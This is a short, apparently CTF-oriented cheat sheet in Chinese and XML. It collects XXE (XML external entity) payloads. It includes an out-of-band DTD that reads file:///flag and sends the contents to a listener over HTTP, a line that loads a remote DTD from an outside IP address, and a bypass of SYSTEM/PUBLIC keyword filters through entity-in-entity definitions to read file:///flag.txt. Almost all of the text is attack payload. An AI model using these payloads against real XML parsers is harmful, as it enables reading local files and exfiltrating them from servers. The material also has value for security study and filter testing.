<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>">
%int; %send;
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd">
%remote; ]>
xxe 绕过的 payload
当只过滤了 SYSTEM,PUBLIC 等关键字时,可用双重实体编码绕过
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core>       <message>&xxe;</message> </core>">
%xml;
即为在 xml 实体中再定义一次 xml,可成功被解析,支持 dtd 数据外带
<!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core> <message>&xxe;</message> </core>